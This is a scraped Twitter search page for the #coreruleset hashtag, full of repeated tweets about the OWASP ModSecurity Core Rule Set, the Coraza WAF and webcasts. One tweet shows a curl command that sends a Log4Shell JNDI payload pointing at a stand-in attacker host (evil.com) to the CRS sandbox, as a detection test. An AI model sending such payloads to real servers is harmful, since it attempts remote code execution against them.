#coreruleset search results

Great follow-up or test case. Good news, yes CRS catches Log4jShell: #OWASP #CoreRuleSet #CRSSandbox

kingthorin_rm's tweet image. Great follow-up or test case. Good news, yes CRS catches Log4jShell:

#OWASP #CoreRuleSet #CRSSandbox

Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

ChrFolini's tweet image. Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

If people do not know their supply chain, it's likely they do not know their closed source products with hidden databases. Adding a decent WAF like #CoreRuleSet as a general 1st line of defense can make all the difference. 4/n


OWASP Coraza WAF - A Golang Modsecurity Compatible Web Application Firewall Library kitploit.com/2022/04/owasp-… #Coraza #CorazaWaf #Coreruleset #OWASPCRS


OWASP Coraza WAF - A Golang Modsecurity Compatible Web Application Firewall Library dlvr.it/SNkTX4 #Coraza #CorazaWaf #Coreruleset #OWASPCRS via KitPloit


... or look into an #OWASP #CoreRuleSet deployment: #CRSSandbox

The @CoreRuleSet can protect from #log4j / CVE-2021-44228. Test this yourself / #CRSSandbox: curl -H "x-format-output: txt-matched-rules" --data 'foo=${jndi:ldap://evil.com/a}' \ sandbox.coreruleset.org 932130 PL1 Remote Command Execution: Unix Shell Expression Found ...



Plan for today: Take a closer look at #ModSecurity rule sets from #Comodo and @atomicorp and see how they stay up vs. #CoreRuleSet.


I'm looking forward to teach #ModSecurity and #OWASP #CoreRuleSet for two days. Trying out a simple digital teaching assistant that supports the students when editing stuff. I hope it makes it easier for them and for me.


VulmonFeeds New security vulnerability discovered in #coreruleset. Attackers can bypass a WAF using crafted payloads 🤔 Protect yourself & stay informed! 🔗 vulmon.com/vulnerabilityd…


waf_bypass just announced a new security vulnerability found in #coreruleset. Attackers can bypass a WAF with crafted payloads. 🤔 Stay safe and informed. 🔒 Check out the full story ➡️ vulmon.com/vulnerabilityd… #cybersecurity #securityvulnerability 🛡️


This is a bit too complicated for twitter. Please join us in the OWASP slack, channel #coreruleset. Invitation: owasp.org/slack/invite


RT CoreRuleSet: This is happening today / tonight for the first time on owasp.slack.com in the #CoreRuleSet channel at 8.30pm CET.…


owasp.slack.com on channel #coreruleset. We missed you last Monday already...


Tue, 15th Nov, 2pm CET: The next #ModSecurity / #OWASP #CoreRuleSet webcast is on. * News: CRS dev retreat * Tech: CRS4 plugins * Operation: Live analysis of production logs * Tuning: Practical false positive analysis / C-Rex Enlist: meetup.com/meetup-group-u…


waf_bypass just announced a new security vulnerability found in #coreruleset. Attackers can bypass a WAF with crafted payloads. 🤔 Stay safe and informed. 🔒 Check out the full story ➡️ vulmon.com/vulnerabilityd… #cybersecurity #securityvulnerability 🛡️


VulmonFeeds New security vulnerability discovered in #coreruleset. Attackers can bypass a WAF using crafted payloads 🤔 Protect yourself & stay informed! 🔗 vulmon.com/vulnerabilityd…


I'm looking forward to teach #ModSecurity and #OWASP #CoreRuleSet for two days. Trying out a simple digital teaching assistant that supports the students when editing stuff. I hope it makes it easier for them and for me.


Tue, 15th Nov, 2pm CET: The next #ModSecurity / #OWASP #CoreRuleSet webcast is on. * News: CRS dev retreat * Tech: CRS4 plugins * Operation: Live analysis of production logs * Tuning: Practical false positive analysis / C-Rex Enlist: meetup.com/meetup-group-u…


OWASP Coraza WAF - A Golang Modsecurity Compatible Web Application Firewall Library kitploit.com/2022/04/owasp-… #Coraza #CorazaWaf #Coreruleset #OWASPCRS


OWASP Coraza WAF - A Golang Modsecurity Compatible Web Application Firewall Library dlvr.it/SNkTX4 #Coraza #CorazaWaf #Coreruleset #OWASPCRS via KitPloit


If people do not know their supply chain, it's likely they do not know their closed source products with hidden databases. Adding a decent WAF like #CoreRuleSet as a general 1st line of defense can make all the difference. 4/n


Great follow-up or test case. Good news, yes CRS catches Log4jShell: #OWASP #CoreRuleSet #CRSSandbox

kingthorin_rm's tweet image. Great follow-up or test case. Good news, yes CRS catches Log4jShell:

#OWASP #CoreRuleSet #CRSSandbox

Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

ChrFolini's tweet image. Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

Great follow-up or test case. Good news, yes CRS catches Log4jShell: #OWASP #CoreRuleSet #CRSSandbox

kingthorin_rm's tweet image. Great follow-up or test case. Good news, yes CRS catches Log4jShell:

#OWASP #CoreRuleSet #CRSSandbox

Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

ChrFolini's tweet image. Various resources I used / shared during my #OWASP 20th anniversary presentation about the #ModSecurity #CoreRuleSet project.

Loading...

Something went wrong.


Something went wrong.


United States Trends